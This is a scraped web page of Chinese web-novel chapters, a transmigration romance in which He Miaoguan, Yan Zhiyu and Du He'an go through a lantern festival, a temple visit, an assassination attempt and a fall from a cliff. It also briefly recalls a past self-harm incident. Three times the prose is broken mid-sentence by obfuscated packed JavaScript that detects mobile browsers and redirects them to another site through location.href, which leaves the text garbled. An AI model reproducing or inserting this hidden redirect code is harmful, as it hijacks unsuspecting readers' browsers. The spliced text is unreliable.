“何小姐同郁两情相悦,顾公子为何非要节外生枝呢?”燕之郁的声音再度飘来,好像含着疑惑。 顾徊回过头端详他,少年大大方方地回望过来,依旧笑意盈盈的,上翘的眼尾和狐狸一样。 从未见过如此厚颜无耻之人。 “六百六十六,我们是青梅竹马,从小就定有娃娃亲。燕之郁,你才是节外生枝的枝。”看着那张得意忘形的脸,顾徊的怒火蹭蹭地冒上来,“大哥,你没有镜子总有尿吧,你要啥啥没有,还吃人家软饭,妥妥一个小白脸,你觉得真有人会看得上你?少做白日梦。” 少年依旧含笑,漂亮的睫毛弯弯,眼尾那颗小痣随之轻颤。 “是何小姐亲口所言哦。” “顾公子若是不信,大可亲自去问她,嗯?” 说罢,得意地凑近些许,歪着头,挑衅地睨着他。 顾徊微微一怔,心脏莫名抽痛着,一颤一颤的,近乎站不稳。 “看上去顾公子心里有数,所以才不愿意去问。”他见状,又补上一刀,“这些天,郁每一日都会见到何小姐。昨日我们还……” 烈日将一切照得泛白,汗水流进眼角,眼前的景象变得分外模糊,发着柔光。 他知道学姐要为任务说些甜言蜜语,但不知为何,还是难以接受。 燕之郁满意地笑笑,看向面色惨白的阿姜,体贴道:“你们公子似乎有些不舒服,找个郎中看看。别气出病。免得还未授官便英年早逝,很可惜的。” “你,你!呜呜呜……”阿姜嘴笨,什么也说不出来,“公子……我们回去吧。” “我没事。”顾徊回过神,慢慢抬起头,“妙观自小到大都心善,即便是路边的丧家犬也会带回家养。我记得你是她捡回来的,对吧?” “燕之郁,你是没被人爱过吗?把怜悯当成情意,真是可怜。” 两人的背影消失在拐角处。 燕之郁唇角的笑意渐渐淡下去,浓黑的眼眸里漫起寒意。 他没有特殊的癖好,被人劈头盖脸骂一顿,不可能不含怒。只是这回的怒意,因为顾徊强烈的反应,暂时忍而不发。 他没料到顾家小郎对何妙观的感情竟如此深厚,单是随便说两句,便露出这般狼狈的模样。他还以为,他们二人真的如旁人所言,因为多年不见,情谊渐淡。 但顾徊这种按耐不住的模样,实在不是什么只得担心的人,他淡笑一声,转身走向醉仙楼。 = 暮色渐沉,华灯初上。莲花池边,游人如织。 何妙观坐在水边石阶上,屈着膝,呆呆地望着手里祈福的字条。墨笔顿顿停停,在鲜红色的宣纸上留下墨点。 一旁的何宝珠,早就一口气放完三盏花灯,正咬着笔杆寻思着第四盏该写什么。 第一盏写的是“愿宝珠家财万贯”,第二盏写的是“愿宝珠平平安安”,第三盏写的是“愿宝珠觅得美郎君”。写完还嫌不够,在“觅得”后又添上“许多”二字。 “姑姑若是写不出来,宝珠来写。”何宝珠笑嘻嘻道。 除却“回到那个世界”外,何妙观的确想不出其他强烈到需要祈福的愿望,便把字条递过去。 何宝珠偷偷摸摸地遮着写,递回来时,还用食指当着那一行字,让她在右下角的落款处签名。 “宝珠,你至少先让姑姑看看写的是什么吧?”何妙观无奈地笑道。 何宝珠这才得意洋洋地移开手,露出“愿和燕郎天长地久”一行字,笑着道:“姑姑,你就签吧!宝珠知道姑姑心里想的是这个。” 何妙观面色有点红,忍不住低声道:“宝珠!” “姑姑你脸这么红,快签快签!”何宝珠笑着催促。 “我……”何妙观无奈地抬起笔,想想又放下,说,“这个好夸张,还是换一个吧”。 何妙观心想,要是这个许愿很灵,她真要和燕之郁天长地久,那岂不是回不到原本的世界吗?她虽然对燕之郁有好感,但没有喜欢到愿意天长地久的地步。 “妙观,为什么要换一个?” 就在这时,少年清冷的声音在她背后响起来。 何妙观吓得手一颤,字条落到水面上,随着涟漪越飘越远,消失在黑沉沉的池水中。 燕之郁见状,递过来一张新的字条,可怜巴巴地望着她:“妙观,再写一遍好不好。我想要那个。”说着,慢慢靠过来,柔软的长发落在她的颈间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501171|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,痒丝丝的。他衣裳上混合着栀子和柑橘的香味也飘过来。 “啊……好吧。”美少年这样卖惨,而这个许愿又不一定灵验,何妙观便把宝珠写的内容重抄一遍,又署上名。 燕之郁这时美滋滋地把写好的字条展开,给两人看上面的蝇头小字。 “愿与妙观白头偕老。” “哎呀,哎呀!”何宝珠怪叫起来,“姑姑,宝珠就知道你们这些日子不对劲、非常之不对劲!宝珠觉得你们现在就像是、就像是那种光天化日下都要亲嘴的情侣……” “何宝珠!”何妙观吓得去挠她。 自从那一日表露心意后,燕之郁便在何府上演浓情蜜意小情侣的戏码,态度真诚到让人一度怀疑,系统显示的好感度是否有误。 白日里,若是她去顾家玩,他便哀凄凄地留在何府等她回来;若是她闲着无事,他便陪着她到处玩。 至于夜晚,一定要送她到屋前,腻歪半天,说完“安寝”才肯走。 何妙观最开始五味杂陈,问他能不能和以前一样,不要这么夸张。 燕之郁义正言辞地说“不可以”,还解释说,以前是他不这样,是因为他们没有互通心意,所以他才不会主动缠着她。至于现在,他们是“两情相悦但暂时不能私奔的眷侣”,理所应当要日日夜夜在一起,珍惜她未出嫁前的光阴。 但何妙观还是觉得,和“要阻止黑化的对象”谈恋爱是不对的。 因为她在学校看过不少闹掰后的小情侣,见面像仇人一样,巴不得对方左脚踩右脚在楼梯上绊倒。若是她和燕之郁谈恋爱后发现性格不合适,出现很多摩擦,闹得很难看怎么办?他的黑化值很有可能会因此升高不少。 不可以,很危险。 但看着他俊俏风流的脸上满是泪水时,何妙观还是递过去一张帕子,抿抿唇,说:“那我们试试吧。” 水面上的两盏花灯摇摇晃晃的,顺着起伏的波纹向池心飘去。一阵风吹过,左边的花灯烛火骤灭,往一边倾过去,不过片刻,便没在池水中。 “啊啊啊!怎么这样!”何宝珠连忙把新买的那盏花灯递过来,“姑姑你快重写。” “那盏是你的还是我的?”何妙观接过花灯,偏过头问燕之郁。 “是我的。”燕之郁悒悒不乐道。 何宝珠道:“那没事。姑姑的‘天长地久’能实现,燕郎君的‘白头偕老’肯定也能实现的。”说着,又是一阵夜风。池心明明灭灭,接连数盏花灯相继倾覆。 何宝珠立刻挂下脸,起身说要去再买点花灯。她担心她之前放的被风吹倒,许愿无法实现。 “娘子,我听说花灯沉水,是周围有鬼魂对灯主人含怨的缘故。”隔壁挨着坐的年轻郎君说。 小娘子吓得哭起来,往郎君怀里钻:“陈郎,莫要说这种话……” “不哭、不哭,我都是在骗你的,娘子。”郎君一把将小娘子抱进怀里,“我们回家吧,好久没有……” 小娘子抬起脸,羞赧道:“呜呜呜,陈郎,你坏,你尽想着那些……” 听人谈论私事未免怪异,何妙观把注意力从两人的打情骂俏上转移开,托着腮安静地看燕之郁写字。他手指纤长,握笔的姿势也好看,不过一会,红字条上出现一列漂亮缱绻的行书。 “愿与妙观白头偕老。” 写完后,他把花灯递到何妙观手中。何妙观双手压住花灯的两侧,轻轻一推。橙黄色的花灯摇摇曳曳漂向池心。 “花灯沉水,是周围有鬼魂对灯主人含怨的缘故,妙观,你信这个么?”他侧过头,忽而问道。漆黑的眸底因为倒映着灯火,亮晶晶的。 何妙观摇头。明明是受力不稳的缘故。 燕之郁却缓缓一笑道:“我信的。” “妙观,我曾经杀过人。” 27.二十七 “……” 何妙观微微一愣,不知该摆出何种表情。 少年侧过脸,慢慢道:“妙观,这些天我一直在纠结,是否要将此事告诉你。” “若不告诉,怕妙观来日发觉,会怨我瞒着你;若是告诉,又怕你即日便同我心生间隙。” 夜色浓郁,唯有池水流转着亮光,映出他脸上虚幻的笑意。 何妙观定定神,认真道:“燕郎君,你愿意将这等事情告诉我,我很欣喜。” 若是他指的是匪患时杀的人,那并不算什么,求生是本能之举。 “你当时……是不是有什么苦衷?” 原本燕之郁只是好奇心骤起,想看看她得知自己恶劣的一面是否会露出厌恶或是恐惧的表情,但何妙观坦然的接受反倒令他有些惊愕,薄唇轻颤,一时哑然。 何妙观以为他想到什么伤心事,便握住他的手,轻轻抚着:“你把当时的情况,慢慢告诉我,好不好?” “……好。”燕之郁顺势靠过来,下巴搁在她的肩膀上,轻声道,“那是永昌十四年的事。当时我十一岁。” 他把自己如何陷入匪患,如何骗着老三出门,如何在井水里下草乌,最后如何逃到江都县里讲得清清楚楚。除却隐去无关紧要的细节外,和何妙观在故事里所见相同。 “妙观,那是我第一次杀人。” “原本,我想一刀刺死他便离开的。但是我想到他做过的事,又觉得让他简简单单死掉未免太不公平。”燕之郁语气淡淡,“等我再回过神,他已经血肉模糊。妙观,我那时感觉自己好可怕、像个疯子一样,可是、可是……妙观你可以理解我的吧?” 他抬起眸,端详她的神色。 “嗯。”何妙观微微颔首,“这不怨你。” 女郎温和的眼眸倒映着池水上的灯火,璀璨而明亮。 燕之郁喉结微动,手臂轻轻拢过来,虚虚地环在她的腰侧,声音低醇蛊惑:“妙观,你是我见过世上最好的女郎。” “……你好夸张!”何妙观慌忙垂下眼睫,浓密的睫羽如蝶翼般轻颤,耳垂染上红晕。 “妙观?”他故意含笑问着,抬手轻点她绯红的面颊,“你是在害羞么?” “我没有害羞!”何妙观恼羞成怒,一把他的手扯下来,“切,有的人甜言蜜语一套一套的,一看就是见过不少女郎。我、我才不稀罕你说的话。”说罢,猛地站起身。 坐得太久猛然站起,一阵眩晕袭来,何妙观眼前骤然泛起黑点,身子不由自主地晃了晃。下一刻,一只有力的手拽住她的手臂,将她稳稳带入怀中。清浅的栀子花香萦绕在鼻尖,待视野重新清晰,映入眼帘的是他线条分明的下颌。 “妙观,我真的只同你这样说话。”燕之郁低下头,神情是前所未有的认真。 “……我才不信。”何妙观低下头,“哪有人天生这么会讲话。” 燕之郁无奈地弯弯唇,欲要解释,目光忽然凝在不远处,面色沉下去,眼底的笑意渐渐冷却。 来人是杜鹤安与楚箬兰。 莲花池畔多是成双成对的家人或爱侣。见到他们,杜鹤安与楚箬兰紧紧牵着的手双双松开,有些不自在。 何妙观也慌忙从燕之郁怀中挣出来。 “楚小姐,杜兄,真是巧遇。”燕之郁目光扫过他们手中的花灯,语气平淡。 杜鹤安淡笑道:“鹤安听说此处莲花池颇灵验,故而和箬兰一同来。” “但愿灵验罢。”燕之郁敷衍地笑笑,“我同妙观还有一些事,不打扰二位。” “等一等。”杜鹤安拦住他,“若说灵验,鹤安听闻扬州叫个平福寺的寺庙,里面有个解梦的师父,解梦非常灵。不知二位是否有印象?” “梦”字一出,燕之郁眸色骤然转深。 他对陆黎卜算的命运本就心存芥蒂,因那场“梦”,更觉自己的死与杜鹤安脱不了干系。 待杜鹤安知晓他的身世、知晓杜澹庵之死全因他而起,只怕会恨不能将他千刀万剐。 他本就不是坐以待毙之人,电光石火间,心有决断,扬唇笑道:“哦,杜兄这是梦到了什么?” 杜鹤安略一迟疑,轻叹道:“鹤安这些日子,总是梦到先父。先父说,扬州和鹤安命理相冲。嘱托鹤安早日回到长安。” “或许是杜兄在官府太操劳的缘故。”燕之郁面上露出担忧的神色,关切道,“郁对平福寺倒是熟悉。杜兄何日有空?” “这月月底休沐即可。” “好。郁正好也有梦要解。到时候我们不若一起去。” 分别后,少年自然地重新揽上她的肩,温声道:“妙观,时候不早,我们去找宝珠,然后回家吧。” 何妙观点点头,好奇道:“燕之郁,你做的是什么梦?” “自然关于你的梦,妙观,你要听么?” 他面不红心不跳地撒着谎。 何妙观轻嗤一声,别开脸去:“你又开始胡说八道。” 虽然言语中带着恼意,但女郎的唇角微扬,片刻后,又忍不住拽了拽他的衣袖,催促道:“燕之郁,你快点说实话。” 他轻笑一声,牵着她拐进一处幽静的角落。这里唯有一盏四角灯笼悬在檐下,昏黄的光晕在夜风中摇曳,在他柔白的脸上投下流动的浅紫色光影,明明灭灭。 燕之郁想起午时的偶遇,故意道:“妙观,我梦到你和顾公子成亲。你穿着大红嫁衣,盖着鸳鸯盖头,真好看。” 日有所思,夜有所梦。 何妙观顿时羞恼,耳根发热,忍不住白他一眼:“燕之郁,你、你能不能想点要紧的事?比如……哦对,阿父有没有说引荐成不成?” “婚姻可是人生大事,还有什么比人生大事更要紧?”燕之郁理所当然地俯身,指尖轻轻拂开她颊边被风吹乱的发丝,“至于引荐……哎,徐侍郎是大忙人,估计有事要忙,哪里还会记得我。” “这人怎么这样?”何妙观急道,“那我回去再问问阿父,然后……” “妙观!”燕之郁打断她,指尖掠过她耳垂,“你先听我讲完那个梦,好不好?” 何妙观被他这番言行弄得脸色通红,低下眼帘,道:“好吧,你继续说。” “我梦见我去抢亲。可你不肯跟我走。我说,我不会带着你住破庙的。你却对我说……唔……”说到这里,他有点编不下去,语速不着痕迹地顿了一下,最后轻笑带过,“我没听清,然后,我就醒了过来。” 何妙观怔了怔,随即反应过来,抬手轻捶他一下:“你故弄玄虚!” 片刻后,又道:“而且,这个梦有什么好解的?平福寺的师父肯定会说你‘前程不想想钗裙’。真不害臊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504906|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是是是,是我不想前程想钗裙。”燕之郁低笑一声,握住她的手腕。他的指尖悄然探进翡翠镯子内侧,在那细嫩的肌肤上轻轻摩挲。 何妙观被他弄得痒痒的,故意道:“这个镯子可是蕙仙给我的,你喜欢我也不给你。” “不是。”他牵起她的手,将翡翠镯子缓缓向上推去,露出一截白皙的皓腕。 一道淡粉色的疤痕赫然显现。 何妙观有些不自在,下意识地想要抽回手。 “这是怎么回事?” 何妙观一时默然。这是她在那个世界干的蠢事,因为想不通爸爸为什么出轨,想不通为什么好好的一家人会变成那样,年轻的女孩在一个沉沉的深夜将刻刀往手腕上划。 血液流动的感觉让她温暖,她昏昏沉沉地睡过去,醒来后,手上一片黏腥。因为怕疼,划得不深,伤口并不致命。但斑驳的血迹却染脏了床单。 十四岁的何妙观一边费力地搓洗,一边恍惚地想:以后一定不能再干这种蠢事。 明明做错的是他们,为什么痛苦的是自己。 “不小心割到的。”何妙观轻声道,镯子推回去。 他松开她的手,转而轻捧着她的脸,毫无掩饰地望着她。他的目光太直白,何妙观受不住,偏过头去。 “妙观,你不适合撒谎。”燕之郁轻叹一声,拇指温柔地抚过她的脸颊,“谁让你受委屈,嗯?” “告诉你有什么用。”何妙观撇撇嘴。 “我帮你打他一顿出气,好不好?” “你……?”何妙观想起那一日他被顾徊摁着打的模样,忍不住嗤笑,“哎,你别又被人打了再来找我哭还差不多。” “妙观!”燕之郁咬咬唇。 “回家吧。”何妙观拉起他的手,朝外走去,“宝珠还在等我们。” == 静山,平福寺。 暴雨初歇,山中飘着薄雾。平福寺青灰的檐角在缭绕的云雾中若隐若现。 寺中檀香袅袅,梵音低唱。小沙弥引着一行人来到僻静的禅房里。屋里,一个眉目慈和的老僧静坐在蒲团之上,听到脚步声,缓缓睁开眼。 杜鹤安描述梦境后,老僧轻拨念珠,开口道:“施主,至亲托梦,既是牵挂,更是警醒。扬州或许并非施主的福地,但劫难未解,倘若直接回长安,这归途也未必会平坦。” 杜鹤安面色微凝,若有所思。 他是面刺李循,才被贬至扬州的。 李循宠溺长公主李莜,给李莜独一份越过大理寺送人下诏狱的特权,他作为大理寺寺正,上奏恳请李循收回特权,却触怒天颜。若非看在他出身京兆杜氏、还有楚太傅求情的份上,李循估计早就一纸圣谕把他派到琼州、端州等瘴疠之地,好让他一辈子回不去长安。 杜鹤安想回到长安。 阿父说,为官者当心怀天下,唯有立于庙堂之高,方能泽被苍生。 可这老僧之言,却又说不是回长安的时候。 老僧笑道:“施主可还有何疑惑,不妨说出来。” 杜鹤安回过神,摇摇头,转而看向身旁的燕之郁:“燕兄可要试一试?” 燕之郁笑道:“好啊。” 他向前半步,眼尾扫过身旁的何妙观,含笑道:“只是我的梦有些私密,不便为外人道。” 28.二十八 何妙观心头一跳,以为他又要提什么“成亲”的梦,连忙拉住他衣袖,低声道:“燕郎君,你的梦有什么好解的,我们早些回去吧。” 见她一副紧张兮兮的样子,燕之郁也不再坚持,淡声道:“好。” 其实解与不解,结果如何,对他来说并无分别。他心中早有决断,并非僧人的偈语能动摇的。 他们的马车停在静山山脚,下山至少还有半个时辰的路途。 天空飘起绵绵细雨,飘洒的雨丝落在他的额前,他抬起头,一把青翠的油纸伞落入视线。 何妙观把伞柄塞进他的手中,理所当然道:“你比我高,你撑。” 燕之郁左手接过伞,右手自然地揽上她的肩头,将人往自己身边带了带。 山径狭窄,众人只能分行。杜鹤安和仆役走在前方,身影在雨雾中有些模糊。 行至半山腰,雨势骤然转急,噼里啪啦砸在伞面上,织成密不透风的水网。透过伞沿落下的雨帘,何妙观已看不清前面的人影。 “妙观。”燕之郁忽然侧耳,声音压过雨声,“你听没听到什么动静?” 何妙观微微一愣,耳边唯有哗啦啦的雨声:“嗯?” “有脚步声。”他语气微沉,看上去有点担忧,“混在雨里,好像是从林子那边过来的。” 何妙观凝神,似乎也听到了由远及近的脚步声,有人踏在林中的落叶上,沙沙作响。她心头莫名一紧,下意识拉住他的胳膊,加快脚步。 前方山路渐缓,杜鹤安与仆役停了下来。隔着雨幕,杜鹤安开口道:“何小姐,燕兄,雨势太大,前面有处凉亭,我们不如避一避再走?” 众人总算得以喘息。 亭外山色空濛,万物都融化在湿漉漉的碧色里。 风大雨急,尽管撑着伞,何妙观半边身子依旧被雨水浸湿,黑漆漆的发丝黏在脸颊,不断地淌着水。 想起方才燕之郁的话,她心中不安,问道:“燕郎君,刚才的脚步声,你还有听到么?” “妙观,现在倒是没有。” 说罢,他取出一张浅绯色的素帕,很自然地走到她身后,为她擦拭湿发。 当着众人的面亲昵,何妙观觉着不自在,轻轻地推他:“燕郎君,你先顾着你自己吧。你好像湿得更厉害。” 他没怎么撑到伞,宝蓝色的衣袍泅成深靛色,湿透的墨发贴在白皙的颈侧,面上还有水珠,有种雨打落花的美感。随行的仆役和侍卫更是狼狈,七扭八歪地坐在地上,拧着湿沉沉的衣袍。 杜鹤安见状,愈发感到抱歉,低声道:“二位今日陪我来这里,遇上这般大雨。鹤安真是过意不去。” “没关系。”何妙观拢拢半干的头发,笑着岔开话题,“箬兰怎么没来?” “端阳郡主昨日突发奇想,请箬兰去周府品茶。”杜鹤安说着,眉间有点哀愁,“箬兰和郡主并不相熟,也不知那边如何,她会不会无聊……” “铛——” 话音未落,两道黑影自凉亭顶上翻掠而下,雪亮刀光一闪,直刺向杜鹤安的心口。 他的近身侍卫衡玉惊叫一声“公子”,随即长剑出鞘,格开这致命一击,金属撞击声尖锐刺耳。 何妙观愣在原地,何府的两名仆役下意识地拔出佩剑,挡在她身前。 一道黑影缠着衡玉,剑招狠辣,逼得少年无法脱身。另一道黑影则向杜鹤安扑去。 刺客显然是朝着杜鹤安来的,对他们四人毫无兴致。 何妙观连忙朝仆役道:“你们去帮帮杜御史!” 自从多年前剿匪后,静山再未有过山匪,随行的仆役只是何府里两名普通的男仆,根本不是精锐刺客的对手,转瞬间,两人已负伤倒地,亭内弥漫上淡淡的血腥味。黑影便提剑向杜鹤安走去。 杜鹤安一边挥剑抵挡,一边侧头急喝道:“此地凶险!燕兄,你快带何小姐走!” “你……”话音未落,何妙观便觉肩头一紧,被一股力道带着踉跄冲出凉亭。暴雨劈头盖脸砸下,视线模糊,雨水的味道衬得身边人那股清冽的栀子花香愈加清晰。 “燕郎君?!” 油纸伞在她头顶重新撑开。何妙观抹去脸上雨水,看见燕之郁湿透的脸庞。 少年面容平静。雨水顺着他乌黑的鬓发流淌,挂在他长睫之上,更衬得肌肤冷白如玉。他薄唇微启,声音在雨声中异常淡漠,带着淡淡的冷意:“我们快走,妙观。” “可是……” 虽然和杜鹤安认识没多久,但眼睁睁看着他送死,何妙观还是做不到。况且他还说让自己先走。 “我们留着也帮不上忙。”见她迟疑,燕之郁面露不解,“何必在这里等死,嗯?” “等他们杀掉杜兄,接下来就会是我们。” “妙观,你的安危才是要紧的。” “可是……”何妙观咬咬唇,“我不能这样。” 兵刃相交声渐淡,打斗的黑影消失在林中。何妙观甩开他的手,重新向亭子里跑去。果然,亭内只余下两名脱力的仆役和地上斑驳的血迹。断断续续的血痕,向着左侧山林延伸而去。 见仆役受伤不算太重,何妙观抓起地上的斗笠,朝着血迹方向追去。 竹林中还残存着新鲜的践踏过的痕迹。没跑多远,一个单薄的人影跌跌撞撞迎面而来。 “杜公子?” 来人闻声抬头,露出一张稚气未脱的脸。少年满身血污,眼神涣散,眸中蒙着一层白翳,迟疑地开口:“是、是何小姐吗?” 是杜鹤安的侍卫衡玉。 因为腹部负伤,他的脚步有些蹒跚。 “何小姐……刺客的剑上有毒,我、我看不见、什么也看不见……”衡玉哭道,泪水混着血水滑落,“他们很危险……呜呜呜,都怪我,都怪我没用……何小姐,您、您快走……公子说您要快走,快去山下……” 何妙观头一回看到这么多血,心脏砰砰乱跳,急忙上前扶住他摇摇欲坠的身体,一边安抚,一边将他扶向身后跟来的燕之郁,“你照顾他,我再去前面看看。” 燕之郁打量着衡玉,眉头微蹙,冷然道:“妙观,你现在过去,是要送死吗?” 何妙观看向他。不知为何,她觉得此刻的燕之郁和往日有些不一样,他如此漠然的样子令她感到陌生,又有些愤怒:“燕之郁,你说我该怎么办?你好好听我的安排不行吗?”说罢,就要抬手把衡玉往他身上一推,转身继续向竹林深处走去。 “妙观……”他声音忽又放软,神色重新温柔起来,“我是说,你留在这里照顾他,我替你去看看,好不好?” 何妙观这才点点头,将斗笠戴在衡玉头上,搀着他返回凉亭。亭中两名仆役已从地上坐起来,正互相包扎伤口,看上去虽然狼狈,但应当依旧方便行动。 衡玉气息微弱,唇色惨白。何妙观扶他坐下,检视他腹部的伤口。他腰腹处的剑伤仍旧汩汩流着血。两名仆役见状,赶忙上前,将系腰的衣带解下,缠在他腰间。 “谢谢,谢谢……何小姐……”衡玉气若游丝,“公子,公子他……” 话未说完,少年头一歪,彻底晕过去。 【警告!警告!】 【任务即将失败!】 【警告!警告!】 系统的声音骤然响起来。 【警告!警告!男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524496|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主的生命受到威胁,任务即将失败!】 何妙观猛然站起身,拔腿就往方才燕之郁去的地方跑去。 不对。 他根本不是去救杜鹤安的! 他今日如此漠然,或许便是因为这一切都是他一手造就的! 山路湿滑泥泞,何妙观顺着地上痕迹跑,不知过去多久,终于看到熟悉的人影。 骤雨初歇,天光大亮。雨后的阳光下,雾气蒸腾。山崖边,杜鹤安正与一名黑衣刺客缠斗在一处。他竹青色的衣袍上沾着血迹,墨色长发凌乱地披散下来,束发的玉冠早已不知所踪。 原书里,杜鹤安曾和柱国大将军姚璟习武,剑法并不差,和刺客难分上下。 “何小姐——你怎么?”杜鹤安没有料到她会来,神色讶异。 这一分神,刺客抓住破绽,反手一击,震掉他手中的长剑。长剑旋转着,坠入身后云雾缭绕的悬崖。紧接着,刺客毫不停滞,剑尖寒光一闪,再度直刺向他的心口。 【警告!警告!】 【任务即将失败!】 冰冷的剑锋映着雨后的惨淡天光。 何妙观怕疼也怕死。 可是,不救他,任务失败,会死。 救他,估计会被这剑刺死。 横竖都是要死。 搏一搏,单车变摩托。 她咬咬牙,猛地合身扑上,用尽全身力气将杜鹤安撞开。 “何小姐!?”被她扑倒在地,杜鹤安面色惊讶,瞪大眼睛。 他完全没料到她会为他做到如此地步。 他们不过相识一个多月而已。 刺客显然也没料到突如其来的变故,一剑刺空,愣怔一瞬才欲回剑再刺。但杜鹤安就着倒地的姿势猛地一脚踹向刺客的膝弯。刺客侧身卸力,就势用剑柄狠狠砸在杜鹤安受伤的肩胛处。 “嘶……”杜鹤安痛得闷哼一声,趁刺客收招未稳之际,夺过对方的长剑,反刺回去。 刺客肩上中剑,鲜血喷洒,闷哼一声,仍旧踉跄着将杜鹤安推向山崖。 “杜鹤安!”何妙观惊叫一声,扑过去欲要抓住他。 但杜鹤安已然失衡。何妙观的指尖堪堪抓住他的手腕,收势不及,被那下坠之力一带,半边身子也被带出崖外。 云雾缭绕,风声呼啸,此处山崖到底有多高,她全然不晓。 一霎那,头晕目眩,心脏跳得极快,仿佛要跃出喉咙。 “何小姐,松手。”杜鹤安抬起脸,雨水、血水和汗水混在一起从他风华过人的脸上滑落,“他们是冲着我来的,你没必要把命搭上去。” 何妙观说不出一句话,她一手死死拽住杜鹤安的手腕,另一只手抓在崖边湿滑尖锐的岩石上,掌心传来钻心的疼痛,手上黏糊糊的。 “何小姐,别这样。松开我,就可以活下去。” 系统的警告声不绝于耳。 【警告!警告!】 【任务即将失败!】 若是他不这般说,何妙观或许真的会因忍不住痛松手,但他这样讲…… “妙观。” 千钧一发之际,一个熟悉的声音,在她头顶悠然响起。一只骨节分明的手越过她,有力地握住了杜鹤安的另一只手臂。 “杜兄,上来吧。” 何妙观心头紧绷的弦猛地一松,差点要虚脱过去。 原来他不是来杀杜鹤安的。 然而下一刻,支撑二人的那块岩壁,因承受不住力道,骤然崩裂松脱。 天旋地转之际,何妙观只觉得浑身被一股无可抗拒的巨力猛地拉扯,整个人朝着云雾缭绕的山崖,直直地坠落下去。 29.二十九 燕之郁站在崖边,山风卷起他靛蓝的衣袂,猎猎作响。 方才女郎挣脱他的手,两人一同坠落的身影,仍在眼前挥之不去。 何妙观对待杜鹤安,如此不同,那般奋不顾身,甚至不惜与他同坠深渊。 果真是杜家的人。 如是来看,接近自己,不过是心怀叵测。往日种种温存软语,或许和自己如出一辙,都不过是虚情假意而已。 此处的山崖下,有一片寒潭。 他垂下眸,凝视着下方翻涌的云雾。 不知二人死没死。 杜鹤安若是死,他也算了却一桩心事;至于何妙观,倘若她真是杜家的人,就此坠崖身亡,倒也算成全她一番忠心。总好过日后兵戈相见,落在他手中,受牢狱拷问之苦。 只是,想到两人一同殒命,甚至死后亦同处一处,百年之后,枯骨便会难分你我,少年漆黑的眼底翻涌起阴戾躁郁。他闭上眼,试图压下心头莫名的烦躁。 一段露水情缘而已。逢场作戏,和该如此,没什么值得惋惜的。燕之郁心想。 “公子。”受伤的刺客捂着肩头踉跄起身,低声道,“此处山崖不过十丈,下面还有深潭缓冲,杜鹤安他或许还没死绝,是否要属下下去,以绝后患?” 燕之郁抬眸问道:“怎么下去最快?” “属下的话,自然是直接跳下去。”清泉答道,“但若是公子想下去……唔,公子若是不嫌弃,属下可以搂着公子一起;否则,绕远路,恐怕要半个时辰的路。” 半个时辰…… 久到足以让生者消失无踪,直接溺毙。 少年长睫微垂,掩住眼底的晦暗。再抬眼时,已是一片澄澈。 他朝清泉颔首,声音听不出丝毫情绪。 “带我下去。” == “妙观?妙观?” “妙观,醒醒。” 温柔的呼唤仿佛从很远的地方传来,轻轻颤抖着。 何妙观费力地睁开眼,片刻后,模糊的视线渐渐聚焦,映入眼帘的是燕之郁焦急的面容。 少年眼眶泛红,唇色惨白,见她悠悠转醒,紧绷的下颌线才微微松弛,唇角扬起极浅的弧度:“妙观,你还好么,还能听见我说话么?” 何妙观只觉得头痛欲裂,身子一阵发冷一阵滚烫,思绪混沌不堪。 坠崖前混乱的记忆涌入脑海。坠落时呼啸的风声,刺骨冰冷的潭水,还有杜鹤安……杜鹤安呢? 何妙观转转眸,发觉他们如今是在一个洞穴里,外头天色渐暗,洞口隐约透进点昏黄的暮光。 洞穴里只有他们二人。 “杜公子……他在哪?”她声音有些沙哑。 “……” 燕之郁显然没料到她醒来的第一句话竟是问杜鹤安,唇角勉强的笑意瞬间凝固,细微地抽搐了一下。 “妙观这么关心杜兄啊?”片刻后,他淡淡一笑,装作浑不在意的样子,“杜兄他刚刚出去,说是要探探下山的路。” 何妙观心下稍安。 系统也没有警报,杜鹤安应该无恙。 她缓一口气,又抬起眸问道:“燕之郁,你是怎么下来的?” 她恍惚记得坠崖的那一刻,燕之郁松开杜鹤安的手,只拉住自己。 危及之际,他保全自己,不难理解。睁开眼还能看到他,倒真是有点令人意外。 燕之郁垂眸凝视着她,长长的睫毛在眼下投下一小片淡紫色的阴影,神情是前所未有的认真:“因为妙观你呀。”他微微一顿,声音低柔,“我们不久前还许愿要白头偕老,所以,我怎么能一个人独活呢。” “你真是……油嘴滑舌。”何妙观咬咬唇,闭上眼,嘴唇却不由自主地扬起来。 燕之郁对她的好感度不过二十,却能做到这个份上,倒是令她惊讶又欣喜。 